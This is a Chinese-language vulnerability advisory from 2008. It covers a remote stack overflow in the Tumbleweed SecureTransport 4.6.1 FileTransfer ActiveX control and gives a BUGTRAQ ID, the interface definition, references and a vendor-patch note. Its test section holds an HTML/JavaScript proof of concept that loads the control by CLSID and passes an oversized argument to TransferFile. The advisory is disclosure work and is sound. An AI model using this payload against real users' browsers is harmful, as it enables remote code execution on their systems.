安全研究

安全漏洞
Tumbleweed SecureTransport vcst_eu.dll ActiveX控件远程栈溢出漏洞

发布日期:2008-04-07
更新日期:2008-04-08

受影响系统:
Tumbleweed SecureTransport 4.6.1
描述:
BUGTRAQ  ID: 28666

Tumbleweed SecureTransport是安全的文件传输解决方案,允许用户通过Internet传输敏感文件。

SecureTransport的FileTransfer ActiveX控件(vcst_en.dll,CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3)中存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。

相关代码:

interface IActiveXTransfer : IDispatch {
    [id(0x00000007), helpstring("method TransferFile")]
    HRESULT TransferFile(
                    [in] VARIANT URL,
                    [in] VARIANT hostName,
                    [in] VARIANT localFile,
                    [in] VARIANT remoteFile,
                    [in] VARIANT fdxCookie,
                    [in] long isSecure,
                    [in] long isUpload,
                    [in] int portNo,
                    [in] long isAscii,
                    [in] long shouldPerformMD5,
                    [in] long isCheckpointRestart,
                    [in] int serverPing,
                    [out, retval] VARIANT* errBuffer);
};

如果对IActiveXTransfer.FileTransfer()方式的remoteFile参数指定了很大的值的话,就可以触发栈溢出,导致执行任意代码。其他参数,如localFile、fdxCookie和localFile等,也可能存在类似的漏洞。

<*来源:Patrick Webster (pwebster@ausgeo.com.au
  
  链接:http://marc.info/?l=bugtraq&m=120759744518809&w=2
        http://secunia.com/advisories/29717/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3"
id="Vulnerable"></object>
<script language="javascript">
Vulnerable.TransferFile("a", "b", "c",
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!倌*
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"d", false, false, 80, false, true, true, 420)
</script>
</html>

建议:
厂商补丁:

Tumbleweed
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.tumbleweed.com/products/securetransport/index.html

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